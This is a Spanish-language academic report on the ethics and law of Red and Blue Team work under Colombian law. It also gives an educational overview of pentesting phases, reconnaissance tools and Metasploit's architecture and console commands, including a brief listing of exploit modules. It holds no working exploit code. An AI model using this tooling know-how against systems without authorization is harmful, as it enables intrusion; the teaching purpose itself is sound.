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RESUMEN

La seguridad informéatica es un aspecto fundamental para proteger la informacion y
los recursos de una organizacion frente a las amenazas cibernéticas. Sin embargo,
no basta con implementar medidas preventivas, sino que también es necesario
contar con estrategias de contencion que permitan responder de forma rapida y
eficaz ante un ciberataque. Estas estrategias se basan en el andlisis de riesgos y
vulnerabilidades en una infraestructura TI, que consiste en evaluar los posibles
escenarios de ataque, los activos afectados, el impacto y la probabilidad de
ocurrencia, asi como las medidas de mitigacion y recuperacién. Todos estos
aspectos pueden ser mejorados a través de los diferentes ejercicios y actividades
qgue realizan los equipos de seguridad. Estos equipos deben actuar bajo ciertas
normas y principios éticos, asi como respetar las leyes y regulaciones vigentes en
materia de ciberseguridad.

Por lo anterior, en este informe se presentan los resultados del examen de las
acciones de los Red Team y Blue Team de una organizacion desde el punto de vista
ético y legal, mediante el analisis de una situacion propuesta. Igualmente, se
muestran los resultados de una prueba de intrusién, que consiste en simular un
ataque a un sistema informético desde el punto de vista de un Red Team, es decir,
un grupo de expertos en ciberseguridad que se encarga de evaluar la seguridad de
una organizacion mediante técnicas de hacking ético.

Adicionalmente, se formulan estrategias de contencion teniendo como base, el
analisis y la explotacion de vulnerabilidades en una infraestructura TI, llevada a cabo
por el Red Team de una organizacion
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GLOSARIO

Blue Team: equipo de expertos en seguridad informéatica y de la informacion que
se encarga de proteger los activos de seguridad en una infraestructura de tecnologia
de la informacion.

Ciberataque: son los intentos de acceder, alterar, destruir, exhibir o hurtar datos
ilegalmente o sin autorizacion del duefio legitimo de estos.

Firewall: dispositivo de hardware o aplicacion de software que se encarga de
controlar el trafico de la red de una empresa, permitiendo o denegando solicitudes
de acuerdo a unas politicas o configuraciones establecidas.

Kali Linux: distribuciébn de Linux que es usada por los diferentes equipos de
seguridad y la cual incluye diversas herramientas que permiten desde realizar
escaneos sencillos hasta recuperacion de informacion.

IDS/IPS: sistemas que detectan y previenen intrusiones en una infraestructura, a
través del monitoreo del trafico de red, deteccion de comportamientos anémalos,
analisis de signos de posibles accesos no permitidos y detencién de los incidentes
identificados.

Informacién: conjunto de datos ordenados y procesados que representan algo
importante para quien los genera, gestiona o posee.

Infraestructura de Tl o informatica: conjunto de dispositivos, software y redes que
prestan algan servicio en una organizacion.

Pentesting: practica de red team mediante la cual se lleva a cabo una prueba de
intrusion en un ambiente controlado.

Purple Team: equipo de expertos en ciberseguridad, que se encargan de llevar a
cabo actividades de red team y blue team por sus propios medios.

Red Team: equipo de profesionales especializados en la realizacion de pruebas de
penetracion con el fin de encontrar brechas de seguridad en una infraestructura.

Seguridad de la Informacién: rama de la seguridad que se encarga de la
proteccion de los datos contenidos en cualquier medio.

Seguridad Informatica: rama de la seguridad en la cual se busca proteger los
medios que contienen informacion.



INTRODUCCION

La ciberseguridad es un tema de gran relevancia e interés en el mundo actual,
donde la informacion y las tecnologias digitales juegan un papel cada vez mas
importante y estratégico en diversos ambitos de la sociedad. Sin embargo, también
es un campo que plantea diversos desafios y dilemas éticos y legales, tanto para
los profesionales que se dedican a proteger los sistemas informaticos como para
los usuarios que se benefician de ellos.

Colombia cuenta con un marco legal amplio y actualizado en materia de
ciberseguridad, que incluye leyes, decretos, circulares y politicas publicas que
buscan prevenir, sancionar y mitigar los riesgos y amenazas cibernéticas que
afectan a las personas, las entidades y el Estado. Entre estas normas se destacan
la Ley 1273 de 2009, que tipifica los delitos informaticos; la Ley 1581 de 2012, que
regula la proteccion de datos personales; entre otras.

Teniendo en cuenta que la seguridad informética no es algo estéatico, sino que
requiere de una evaluacién continua y dindmica que permita identificar y corregir las
vulnerabilidades que puedan ser explotadas por los atacantes.

Para ello, existen diferentes metodologias y herramientas que facilitan la realizacién
de pruebas de intrusibn o pentesting, que consisten en simular un ataque
informatico sobre una red, una aplicacién o un sistema informatico con el objetivo
de evaluar su nivel de seguridad y proponer medidas de mejora. Todos estos
procedimientos o actividades, deben estar enmarcados dentro de las leyes,
normativas, estandares o mejores practicas, con el objetivo de no generar dafios
dentro de la empresa.

Por este motivo, los diferentes equipos de seguridad y sus integrantes, sin importar
el rol o papel que desemperien dentro de estos, deben conocer y aplicar sus valores,
principios, técnicas y capacidades de la mejor manera para proteger el activo mas
valioso que existe hoy en dia: la informacion.
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1. OBJETIVOS

1.1 OBJETIVO GENERAL

Analizar las capacidades éticas, legales y técnicas necesarias en los equipos de
seguridad para que lleven a cabo ejercicios que aporten valor en la proteccién de la
informacion de una organizacion.

1.2 OBJETIVOS ESPECIFICOS

Evaluar las acciones de los equipos Red Team & Blue Team de una organizacion
teniendo en cuenta los criterios éticos y legales, mediante la aplicacion del marco
legal y ético colombiano en el analisis de una situacion propuesta.

Explicar las vulnerabilidades de un sistema informatico a partir de la aplicacién de
metodologias y técnicas de intrusion necesarias en un ejercicio de Red Team.

Identificar las acciones necesarias para contener un ciberataque y endurecer la
seguridad de los equipos pertenecientes a una infraestructura TI, por medio del
analisis de riesgos y vulnerabilidades en una infraestructura TI, aplicando las
recomendaciones y buenas practicas para configurar los sistemas operativos
ofrecidas por las guias de hardenizacion existentes, como parte de las actividades
del Blue Team.
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2 INFORME TECNICO

2.1 MARCOS REGULATORIOS COLOMBIANOS. LEY 1273 DE 2009 Y LEY
1581 DE 2012.

El ejercicio profesional de los Red Team y Blue Team, debe estar enmarcado dentro
del ambito legal, para evitar sobrepasar la delgada linea que existe entre lo
permitido y lo prohibido en los temas de seguridad. Adicionalmente a esto, las
personas que hacen parte de estos equipos, deben conocer y conservar unos
codigos de conducta, los cuales los previenen y los protegen de actuaciones
delictivas.

En Colombia, existen varias leyes que pretenden proteger la informacién y regular
el comportamiento de los profesionales que, a diario, realizan actividades dentro del
ambito de la seguridad informética, de la informacién y la ciberseguridad.

A continuacion, se presentan algunas de las leyes, normativas y decretos que hacen
parte del marco normativo y regulatorio colombiano.

2.1.1 Ley 1273 de 20009.

El 5 de enero de 2009, el Congreso de Colombia, promulgé la Ley 1273 de 2009, la
cual modifico el Cdédigo Penal colombiano y establecid que la informacion, los
sistemas que usan tecnologias de la informacion y las comunicaciones y los datos
son bienes juridicos que deben gozar de proteccion integral; adicionalmente, se
tipifican los delitos que atentan contra los principios de la seguridad informatica, de
la informacion y ciberseguridad: confidencialidad, integridad y disponibilidad y en su
articulo 4, se deroga el Articulo 195 de la Ley 599 de 2000, la cual expide el Cadigo
Penal'.

Esta ley se compone de cuatro articulos generales, contenidos en dos capitulos a
saber:

Articulo 1o. Por medio del cual se adiciona el Titulo VII BIS denominado “De la
Proteccion de la informacion y de los datos”, el cual establece varios delitos
relacionados con el acceso abusivo a sistemas informaticos, la obstaculizacion
ilegitima de sistemas informéaticos o redes de telecomunicaciones, la interceptacion
de datos informaticos, el dafio informéatico y el uso de software malicioso.

1 COLOMBIA. Congreso de Colombia “Ley 1273 de 2009” Diario Oficial No. 47.223 del 5 de enero
de 2009, [en linea]. 2009. [Consultado: 4, agosto, 2023]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
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2.1.1.1 Capitulo I. De los atentados contra la confidencialidad, la integridad y
la disponibilidad de los datos y de los sistemas informéticos.

En este se tipifican los delitos contra la confidencialidad, la integridad y la
disponibilidad de la informacién y de los sistemas informéaticos, incluidos en los
articulos desde el 269A al 269H.

e Articulo 269A: Acceso abusivo a un sistema informético. Aqui se establece
gue quien acceda total o parcialmente o se mantenga sin autorizacion o
sobrepasando los acuerdos establecidos, con la persona natural o juridica
gue tenga el legitimo derecho de un sistema informatico, que esté o no
protegido con cualquier medida de seguridad, puede enfrentarse a una pena
de prision que va desde los cuarenta y ocho (48) a los noventa y seis (96)
meses, asi como a una multa de 100 a 1000 salarios minimos legales
mensuales vigentes.

Este articulo protege el principio de confidencialidad al instaurar sanciones
para aquellos que accedan sin autorizacidén a un sistema informéatico.

e Articulo 269B: Obstaculizacién ilegitima de sistema informéatico o red de
telecomunicacion. Este articulo protege el principio de disponibilidad al
establecer sanciones para aquellos que imposibiliten o dificulten el
funcionamiento correcto o el acceso normal a un sistema informético, a los
datos contenidos en este o0 a una red de telecomunicaciones. Para ello, dicta
que la pena de prision en este caso va desde los cuarenta y ocho (48) a los
noventa y seis (96) meses de prision, asi como la multa, la cual esta
estipulada entre los 100 y 1000 salarios minimos legales mensuales vigentes.
Se deja la claridad que esta pena aplica cuando la conducta no constituye un
delito sancionado con una pena mas alta.

e Articulo 269C: Interceptacion de datos informéaticos. Este articulo preserva la
confidencialidad, al establecer sanciones para aquellos que intercepten datos
informaticos sin orden judicial previa en cualquier parte de su transito o medio
gue los contenga o trasmitan. La pena que contempla este delito, es entre
treintay seis (36) y setenta y dos (72) meses de prision. No se dejo estipulada
sancién pecuniaria en este articulo.

e Articulo 269D: Dafo Informatico. Este articulo salvaguarda la integridad al
establecer sanciones para aquellos que dafien, borren, deterioren, alteren o
eliminen datos informaticos o un sistema de tratamiento de informacion, ya
sea en sus partes o en alguno de sus componentes. Los que cometan este
tipo de dafios, pueden incurrir en una pena privativa de la libertad entre
cuarenta y ocho (48) y noventa y seis (96) meses, con una multa econémica
entre cien (100) y mil (1000) salarios mensuales legales vigentes.

e Atrticulo 269E: Uso de software malicioso. Este articulo protege los principios
de integridad, disponibilidad y confidencialidad al establecer sanciones para
aguellos que produzcan, trafiquen, adquieran, distribuyan, vendan, envien,
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introduzcan o extraigan del territorio nacional software malicioso (malware) u
otros programas de computacion dafinos

Articulo 269F: Violacion de datos personales. Este articulo protege la
confidencialidad y la integridad, al establecer sanciones para aquellos que
adquieran, recolecten, sustraigan, brinden, vendan, intercambien, envien,
compren, intercepten, den a conocer o modifiquen codigos personales o
datos personales contenidos en ficheros, archivos, bases de datos o medios
similares, para beneficio propio o de un tercero no autorizado. Se puede
imponer una pena de prisién entre cuarenta y ocho (48) y noventa y seis (96)
meses, con una multa econémica entre cien (100) y mil (1000) salarios
mensuales legales vigentes.

Articulo 269G: Suplantacion de sitios web para capturar datos personales.
Este articulo hace referencia especifica a la suplantacion de sitios web y de
nombres de dominio. Aqui se pretende proteger el principio de
confidencialidad al establecer sanciones penales para aquellos que disefien,
elaboren, comercien ilegalmente, vendan, elaboren, sistematicen o envien
paginas electrénicas, enlaces o ventanas emergentes con objeto ilicito y sin
estar autorizados para ello. Las personas (naturales o juridicas) que incurran
en este delito, pueden enfrentar penas entre cuarenta y ocho (48) y noventa
y seis (96) meses, con una multa econémica entre cien (100) y mil (1000)
salarios mensuales legales vigentes.

Adicionalmente, se establecen sanciones para aquellos que modifiquen el
sistema de resolucion de nombres de dominio para hacer entrar al usuario a
una direccién IP diferente, abusando de su buena fe y de su confianza, al
hacerle creer que esta accediendo al sitio correcto.

Para estos casos, la pena de prision establecida es entre cuarenta y ocho
(48) a noventay seis (96) meses y en multa de cien (100) a mil (1000) salarios
minimos legales mensuales vigentes, siempre que la conducta no forme
parte de un delito sancionado con una pena mas severa.

La pena privativa de la libertad contemplada en este articulado, se agrava,
es decir, puede aumentar, entre una tercera parte a la mitad, si el delincuente
ha reclutado victimas para llevar a cabo su delito.

Articulo 269H: Circunstancias de agravacion punitiva. Este articulo no
protege un principio especifico de ciberseguridad, sino que establece las
circunstancias en las cuales las penas que se imponen por los delitos
descritos en los articulos anteriores se pueden aumentar (entre la mitad a las
tres cuartas partes de la pena).

Dentro de los agravantes se encuentran:

» Cuando se comenten delitos informéticos sobre redes, sistemas de
comunicaciones o informaticos del estado u otro de caréacter oficial,
del sistema financiero, ya sean nacionales o extranjeros.

= Cuando el delito es llevado a cabo por un servidor publico en ejercicio
de sus funciones.
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= Cuando se abusa de la confianza dada por el legitimo duefio de la
informacion o por quien tenga un vinculo contractual con este.

= Al revelar o dar a conocer informacién que pueda perjudicar a otra
persona.

= Sacando provecho en nombre propio o de un tercero.

» Al cometer estos delitos con fines terroristas o que generen algun tipo
de riesgo para la seguridad o defensa de la nacion.

= Al usar la buena fe de otra persona para llevar a cabo la conducta
criminal.

e Cuando la persona que comete el delito es el administrador, gestor o quien
tiene bajo su control la informacion. Esta conducta puede ser castigada
adicionalmente, a lo establecido en esta ley, con la inhabilitacion para ejercer
una profesion relacionada con sistemas de informacion.

2.1.1.2 Capitulo Il. Este capitulo de la Ley 1273 de 2009 se titula “De los
atentados informaticos y otras infracciones”

Este articulo establece varios delitos relacionados con el uso de medios informaticos
para llevarlos a cabo.

e Articulo 269I. Hurto por medios informaticos y semejantes. Este articulo se
relaciona con el hurto calificado y busca castigar las conductas de
apropiacion indebida de bienes ajenos, en este caso, datos, sistemas
informaticos, redes de sistemas electronicos, telematicos u otros medios
parecidos, mediante la violacion de las medidas de seguridad implementadas
0 por suplantacién de usuario. Quien ejecute este delito, incurrird en penas
entre cinco (5) y doce (12) afios de prision, de acuerdo a lo establecido en el
Articulo 240 de la Ley 599 de 2000 (Cdédigo Penal).

e Articulo 269J: Transferencia no consentida de activos. Este articulo impone
las sanciones a quienes, con fines de lucro, usen cualquier tipo de
manipulacion por medio informéatico y logren hacer que su victima transfiera
de manera no consentida (es decir, sin plena conciencia del acto) cualquier
activo a favor de un tercero. Igualmente aplica en los casos de fabricacion,
introduccidn, porte o facilitacion de software que permita la comision de estos
delitos o de estafa. Este delito serad sancionado con pena entre cuarenta y
ocho (48) a ciento veinte (120) meses y en multa de 200 a 1.500 salarios
minimos legales mensuales vigentes, siempre y cuando la conducta no
constituya un delito sancionado con una pena mas fuerte.

Cuando la cuantia del delito supere los 200 salarios minimos legales
mensuales vigentes, la pena que impone este articulo, se incrementa en la
mitad.

Articulo 2°. Este articulo adiciona el numeral 17 al Articulo 58 de la Ley 599 de 2000.
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Especifica que cualquier delito que se cometa mediante el uso de medios
informaticos, electrénicos o telematicos es una conducta punible, es decir, sera
sancionada legalmente, debido a que va en contra de la ley.

Articulo 3°. Adiciona el numeral 6 al articulo 37 de la Ley 906 de 2004 (Cddigo de
Procedimiento Penal). Se estipula que los jueces penales municipales tienen
conocimiento sobre los delitos contenidos y definidos en el Titulo VII Bis (“De la
proteccion de la informacion y de los datos”), es decir, que tienen competencia para
identificar los delitos informaticos e imponer las sanciones establecidas en la
presente ley.

Articulo 4°. Establece la entrada en vigencia de esta ley y deroga las disposiciones
gue le son contrarias, en especifico el Articulo 195. Acceso abusivo a un sistema
informéatico, de la Ley 599 de 2000, Capitulo séptimo. De la violacién a la intimidad,
reserva e interceptacion de comunicaciones.

2.1.2 Ley 1581 de 2012. La Ley 1581 de 20122

Es una ley colombiana que busca proteger el derecho que tienen todas las personas
a controlar la informacién personal que se recoge sobre ellas en bases de datos o
archivos, tanto publicos como privados. Aqui se establecen los principios, derechos,
deberes y procedimientos para garantizar el uso adecuado de los datos personales,
respetando la Constitucién Politica y los demas derechos, libertades y garantias
constitucionales a que se refieren los articulos 15 y 20 de la Constitucion Politica de
Colombia.®

Asi mismo, define las responsabilidades y sanciones para quienes incumplan con
las normas de proteccion de datos personales.

Algunos aspectos importantes de esta ley son:

e Esta ley se aplica a cualquier tipo de dato personal, es decir, cualquier
informacion que pueda identificar o hacer identificable a una persona natural,
como su nombre, documento de identidad, direccion, correo electronico,
namero telefénico, entre otros.

e Reconoce el derecho que tienen las personas a autorizar el tratamiento de
sus datos personales, es decir, a dar su consentimiento para que se recojan,

2 COLOMBIA. Congreso de Colombia “Ley 1581 de 2012” Diario Oficial No. 48.587 del 18 de octubre
de 2012, [en linea]. 2012. [Consultado: 4, agosto, 2023]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1581 2012.html

3 COLOMBIA. Asamblea Nacional Constituyente. Constitucion Politica de Colombia, [en linea]. 1991.
Bogota. (Segunda edicion corregida). [Consultado: 4, agosto, 2023]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/constitucion_politica 1991.html
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almacenen, usen, modifiguen o eliminen sus datos personales. Este
consentimiento debe ser previo, expreso e informado.

e Considera el derecho que tienen las personas a conocer, actualizar y
rectificar sus datos personales, asi como a solicitar la prueba del
consentimiento otorgado, a anular el consentimiento cuando haya motivos
legitimos para ello y a presentar quejas o reclamos ante las autoridades
competentes cuando consideren que sus derechos han sido vulnerados.

e Define los deberes y obligaciones que tienen los responsables y encargados
del tratamiento de datos personales, es decir, las personas o entidades que
deciden sobre el propésito, el alcance y los medios del tratamiento de los
datos personales. Estos deberes incluyen: garantizar la seguridad vy
confidencialidad de los datos personales; informar a los titulares sobre el
tratamiento que se les va a dar a sus datos personales y obtener su
consentimiento; respetar los fines para los cuales se obtuvieron los datos
personales y no usarlos para objetivos distintos o incompatibles; atender las
consultas y reclamos de los titulares sobre sus datos personales, entre otros.

e Establece también las excepciones que aplican al consentimiento del titular
para el tratamiento de sus datos personales, es decir, los casos en los cuales
no se requiere su autorizacion previa. Estos casos son: cuando se trate de
datos de naturaleza publica; cuando el tratamiento sea necesario para el
cumplimiento de una obligacion legal o contractual; cuando el tratamiento
tenga una finalidad historica, estadistica o cientifica; cuando se trate de datos
relacionados con el Registro Civil de las Personas, o cuando exista una
autorizacion legal o judicial para ello.

e Se designa a la Superintendencia de Industria y Comercio como la entidad
encargada de vigilar y controlar el cumplimiento de la ley de proteccion de
datos y de imponer las sanciones correspondientes en caso de infraccién.
Estas sanciones pueden ser multas econdémicas o la suspension o cierre
temporal o definitivo de las actividades relacionadas con el tratamiento de
datos personales.

2.1.3 Montos de las sanciones.

De acuerdo a lo establecido en el Capitulo Il, Articulo 23. Sanciones, la
Superintendencia de Industria y Comercio, puede colocar multas pecuniarias de
caracter personal e institucional hasta por el equivalente a dos mil (2000) salarios
minimos mensuales legales vigentes al momento de la imposicién de la sancion.
Las multas podran ser sucesivas mientras que el incumplimiento que las originoé siga
existiendo.
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2.2 ETAPAS DEL PENTESTING

El pentesting es una prueba de penetracion que simula un ataque cibernético a un
sistema informatico para evaluar y explotar sus vulnerabilidades, permitiendo
también, valorar las medidas defensivas implementadas.

Se pueden realizar tres tipos de pruebas de penetracion:

e Pentesting de cajanegra: en este tipo de pruebas, el pentester realiza todos
sus analisis sin contar con informacion del sistema que se va a evaluar, es
decir, realiza la evaluacién completamente a ciegas y descubre todo a través
de su propios métodos y herramientas. Se puede decir que es la manera mas
independiente y cercana a un ciberataque real que se puede hacer de
manera controlada.

e Pentesting de caja blanca: a diferencia de las pruebas de caja negra, en
este tipo, el profesional que realiza las pruebas conoce toda la informacion
relevante del objetivo de evaluacion (contrasefas, esquemas, IPs, accesos,
entre otros). De acuerdo con esto, se simula un ataque realizado por un
insider (persona de la empresa que conoce Yy tiene accesos a la informacion,
redes y sistemas informaticos). De acuerdo con Nowak (2022), es la prueba
mas completa que se le puede realizar a un sistema informatico y con la que
se pueden identificar con buena exactitud los aspectos susceptibles de
mejora en sus defensas.

e Pentesting de caja gris: en este caso, el evaluador tiene informacién parcial
sobre el objetivo a estudiar.

e En general, el pentesting se compone de las siguientes fases, aunque estas
pueden variar, dependiendo de la metodologia usada:

1. Reconocimiento, recoleccién de informacién o enumeraciéon: En esta
fase se define el alcance y los métodos a usar para la realizacion de las
pruebas. También se recopila toda la informacion posible sobre el objetivo
del pentesting, como sus dominios y subdominios, IPs, puertos, servicios,
versiones, metadatos, correos electronicos, nombres de personas
relacionadas con el objetivo, tecnologias usadas, entre otros.

Para lo anterior, se utilizan técnicas como el escaneo de red, el dorking, el
uso de herramientas automatizadas o la obtencion de informacion de fuentes
abiertas (OSINT), ingenieria social, identificacion de subdominios, inmersion
en contenedores, entre otros. Para un delincuente, esta es la mejor manera
gue tiene para conseguir informacién de su objetivo. Los datos recolectados
se en encuentran en informacion de caracter publico, haciendo uso de
motores de busqueda, sitios web especiales para esto y redes sociales,
permitiendo la ampliacion de la superficie de ataque
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Existen dos maneras de realizar el reconocimiento: reconocimiento pasivo y
reconocimiento activo.

El reconocimiento pasivo o footprinting, se realiza sin ninguna
comunicaciéon con el sistema objetivo, limitAndose a recopilar,
observar y analizar la informacion publica disponible (Keepcoding,
2023) y de esta forma no se deja rastro de la investigacion. Esto se
puede lograr haciendo uso de herramientas sencillas como redes
sociales y motores de busqueda.

El reconocimiento activo o fingerprinting, es una técnica de
recoleccion de informacién que consiste en enviar paquetes o
solicitudes al sistema objetivo y analizar las respuestas que se
obtienen, como los banners, los errores, los servicios, los puertos,
entre otros. El reconocimiento activo se puede usar para descubrir
vulnerabilidades, planificar ataques o realizar auditorias de seguridad,
caso en el cual, se debe contar con las respectivas autorizaciones,
debido a que se dejan rastros de las actividades realizadas.

Dentro de las herramientas usadas en la actividad de reconocimiento, se encuentran
las siguientes (tanto de pago como open source):

Maltego: es una completa herramienta, de pago, que sirve para el
realizar analisis gréafico de los datos encontrados a través mineria de
datos. Reune informaciéon en tiempo real y la representa en gréaficos
nodales, haciendo facilmente identificables los patrones y conexiones
de orden multiple entre dicha informacion.

Shodan: es un motor de busqueda que brinda informacion
relacionada con activos que se encuentran expuestos en la red y
permite identificar malas configuraciones de estos (usuario y
contraseflas por defecto, puertos, servicios, entre otros). Los
dispositivos comprenden una amplia gama que va desde
computadores portatiles hasta loT.

Metagoofil: es una poderosa herramienta opensource, que sirve para
la recopilacion de informacion, creada para la extraccion de metadatos
de documentos publicos en cualquier formato (.doc, .pdf, .xls, .ppt,
entre otros) y asi, después de un analisis de los datos obtenidos y de
realizar algunas pesquisas mas minuciosas, poder tener acceso a
informacion como correos electronicos, nombres de funcionarios,
sistemas operativos, etc. El uso de esta herramienta se encuentra
dentro de la etapa de reconocimiento pasivo y enumeracion en
pruebas de penetracion (pentesting).

Olemeta: es una herramienta usada para el analisis basico de la
informacion extraida a través de Metagoofil. Olemeta es un script de
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Python para analizar archivos OLE, por medio del cual se extraen
todas las propiedades estandar en dichos archivos.

Foca: Es una herramienta que tiene una version open source y otra
paga, que permite realizar OSINT (recopilacion de informacion de
fuentes abiertas).

Nmap: Network Mapper es una utilidad de fuente abierta y gratuita
que se usa para el descubrimiento de redes y auditoria de seguridad.
También se usa para hacer el levantamiento de inventarios de redes
e inspecciodn de la actividad del servicio o del host. Nmap es capaz de
identificar los hosts que estan disponibles en una red, los servicios
(nombre y versién de la aplicaciébn) que ofrecen esos hosts, los
sistemas operativos y sus versiones que se estan ejecutando; al igual
que el tipo de filtrado de paquetes o firewalls que estan activos, entre
otras caracteristicas.

SubFinder: es una herramienta opensource que se usa para el
descubrimiento y enumeracion pasiva de subdominios utilizando
fuentes pasivas en linea.

Exiftool: es una aplicacion de linea de comandos que permite leer,
escribir y editar metadatos en una extensa diversidad de archivos.
TinEye: es una herramienta libre y en linea usada para hace
bldsqueda inversa de imagenes, permitiendo encontrar los sitios donde
se han publicado.

The Harvester: es una poderosa herramienta que realiza la
recopilacion de datos a través de OSINT para ayudar a determinar las
amenazas externas de un dominio. También recopila nombres,
correos electrénicos, IP, subdominios y URL mediante el uso de
multiples recursos publicos

Tinfoleak: es una potente herramienta web, opensource que busca
informacion béasica sobre un usuario de Twitter (hombre, imagen,
ubicacion, seguidores, entre otros) para identificar filtraciones.
Ademas, puede dar informacion acerca de los sistemas operativos,
dispositivos, aplicaciones, redes sociales, ubicaciones visitadas por el
usuario, temas de interés, interacciones, entre otros.

WHOIS: es un protocolo TCP, basado en transacciones del tipo
peticiOn-respuesta, que se usa para ejecutar consultas en bases de
datos y asi obtener informacién acerca de un dominio web. Se puede
acceder a través de diferentes sitios web y es gratuito.

Nslookup: es una herramienta que permite obtener informacion sobre
todos los registros DNS de un sitio web.

DNSiInspect: Es una herramienta web gratuita que prueba los
servidores del dominio del objetivo en busca de errores comunes de
correo y DNS y genera un informe con explicaciones sobre cémo
corregirlos.

Tor: Navegador que ofrece privacidad sin rastreo ni vigilancia.
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e Whonix: Al igual que Tor, es un navegador que ofrece privacidad,
anonimato, intimidad y seguridad en la navegacion web.

e Wireshark: Es un analizador de protocolos de red que permite very
analizar el trafico que pasa a través de una red de datos.

e Dnsmap: Escanea un dominio en busca de subdominios comunes
usando una lista de palabras integrada o externa.

e Dnsrecon: es un script de Python que permite realizar la verificacion
de todos los registros de NS para transferencias de zona, enumerar
registros DNS generales para un dominio determinado (MX, SOA, NS,
A, AAAA, SPF y TXT), enumerar host y subdominios desde Google,
entre otras funciones.

e Recon-ng: Es una herramienta de recopilacion de informacion de
fuentes abiertas (OSINT), de codigo abierto que permite reducir el
tiempo que se usa en la recopilacion de informacion.

Teniendo en cuenta lo investigado, la etapa de reconocimiento es importante
debido a que la informacién recopilada en esta fase, permite identificar los
puntos débiles y las oportunidades de explotacion que tiene el sistema
objetivo. Ademas, esta fase ayuda a planificar las estrategias y técnicas mas
adecuadas para las fases posteriores del pentesting, como el analisis de
vulnerabilidades, la explotacién y la post-explotacion. De acuerdo con
Sandoval (2020), el reconocimiento es el 80% del trabajo inicial y de este
depende el éxito de un pentesting, ya que, sin un buen reconocimiento, el
pentesting puede ser ineficaz o incluso contraproducente, ya que se puede
perder tiempo y recursos en ataques que no funcionan o que generan alertas
innecesarias (falsos positivos).

. Analisis de vulnerabilidades: En esta fase se identifican y clasifican las
posibles debilidades o fallos de seguridad que tiene el sistema objetivo, como
fallas en el control de acceso, inyeccion de cédigo, mala configuracion,
componentes obsoletos, entre otras. Para esta etapa, los pentester utilizan
herramientas como Nessus, OWASP Zap Proxy, Vega, BurpSuite, entre
otras.

Explotacion: Como su nombre lo indica, en esta fase se aprovechan las
vulnerabilidades encontradas para comprometer el sistema objetivo y asi
obtener acceso a sus recursos o informacion. Se ejecutan exploits o se usan
credenciales obtenidas en la fase anterior. Para lograr la explotacién de las
vulnerabilidades, se utilizan herramientas como Metasploit Framework,
BeEF, SQLMap, Canvas, entre otras.

Post-explotacion: En esta fase se profundiza en el acceso obtenido y se
busca ampliar el alcance del ataque a otros sistemas o redes relacionados
con el objetivo. Se realizan acciones como escalar privilegios, obtener
credenciales adicionales, instalar puertas traseras o realizar pivoting. Se
utilizan herramientas como PowerSploit, Routersploit o Xarp.
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5. Reporte: Esta es la Ultima etapa del ejercicio de pentesting. En esta se
elabora un informe detallado con los hallazgos y resultados de las pruebas
ejecutadas, incluyendo las evidencias, las recomendaciones y las medidas
correctivas para mejorar la seguridad del sistema obijetivo.

2.3 METASPLOIT

Metasploit es un marco de trabajo, ampliamente utilizado en pruebas de
penetracion, de propiedad de la empresa Rapid?.

Es una herramienta que cuenta con mas de novecientos (900) exploits, los cuales
son utilizados para explotar las vulnerabilidades encontradas en un sistema
informatico, con el fin de ganar acceso y, en el caso del pentesting, identificar
posibles brechas de seguridad. Esta herramienta ya se encuentra incluida en el
sistema operativo Kali Linux y se puede acceder a ella a través de su consola A
pesar de que Metasploit es reconocido por ser usado en la etapa de explotacion y
postexplotacion, también incluye opciones para el reconocimiento y analisis de
vulnerabilidades, como se muestra en la Figura 1.

Figura 1. Herramientas de Metasploit
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Fuente: RAPID7. Quick start guide. [En linea]. (Recuperado en agosto 6 2023). Disponible en:
https://docs.rapid7.com/metasploit/quick-start-quide/

Cuenta con una version Pro, la cual es de pago y esta dirigida a pentesters y equipos
de seguridad y su version opensource (framework) es usada para ejercicios de
desarrolladores e investigadores en temas de seguridad, sin perjuicio de que
también se pueda usar su version de prueba.

En la Figura 2 se muestra la arquitectura de Metasploit. A continuacion, se presenta
una corta descripcién de sus componentes:
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e Herramientas (Tools): por medio de las cuales se elaboran los diferentes
modulos que componen Metasploit.

¢ Plugins: son aplicaciones externas a Metasploit que se pueden usar en este
por medio de un enlace a una interface que se conecta con la libreria MSF
Base.

e Interfaces: son las que sirven de conexion para la interaccion del usuario con
Metasploit.

También se encuentran los modulos, los cuales son codigos que ejecutan tareas
especificas dentro de Metasploit como, por ejemplo, la explotacion basica de una
vulnerabilidad en un host a través de un exploit.

Payloads: son los diferentes codigos maliciosos (malware) que se encuentran en
Metasploit y que son usados por los exploits, es decir, son la carga util (los que
realizan la accién maliciosa).

Exploits: codigo por medio del cual se aprovecha o se explota una vulnerabilidad en
el objetivo y son los que contienen los payloads. Dentro de metasploit se encuentran
organizados por sistema operativo o categoria.

Encoders: son los codificadores y por medio de estos, los cddigos maliciosos son
ofuscados para que los payloads eviten ser detectados por las soluciones antivirus
o antimalware.

Post: guarda en su contenido el codigo para ejecutar tareas en la fase de post-
explotacion como por ejemplo, la escalada de privilegios.

Nops: son instrucciones NOP (No Operation) que son usadas por los payloads para
que su ejecucién sea exitosa al momento de cargarse en memoria.

Auxiliary: estos por lo regular se usan para realizar information gathering o hackeo
con buscadores.
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Figura 2. Arquitectura de Metasploit
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Fuente: elaboracion propia

¢ COMO FUNCIONA METASPLOIT?

Para lanzar Metasploit, se hace uso de su consola, la cual se lanza a través del
comando msfconsole, en Kali Linux (Figura 3). Una vez en esta, se pueden ejecutar
una serie de comandos, usados para encontrar (search), usar (use), mostrar
opciones (show options), consultar informacién (Info) y asignar parametros (Set).

Figura 3. Consola de Metasploit
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Metasploit tip: Use to learn more about any command

Fuente: elaboracion propia
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Como se aprecia en la Figura 4, al ejecutar el comando show exploits, muestra el
listado de los exploits que se encuentran disponibles en Metasploit, en qué sistema
operativo son funcionales y el recurso sobre el que actua, asi como el nivel de
efectividad y una pequefia descripcion del mismo.

Figura 4. Ejecucién del comando show exploits en Metasploit
1570 windows/http/hp_nnm_ arm_lang 2009-12-09 HP OpenView Network Node Manager ovalarm c6
I Buffer Overflow
1571 windows/http/hp_nnm, 4-02 good Yes HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authent
ication Stack Buffer O
ttp/hp_nnm_ovbuildpath_textfile 2011-11-01 normal OpenView Network Node Manager ov.dll _OVBuil
low
/http/hp_nnm_ovwebhelp 2009-12-09 OpenView Network Node Manager OvWebHelp.exe
CGI Buffer Overflow
windows/http/hp_nnm_ovwebsnmpsrv_main 2010-06-16 OpenView Network Node Manager ovwebsnmpsrv.e
low
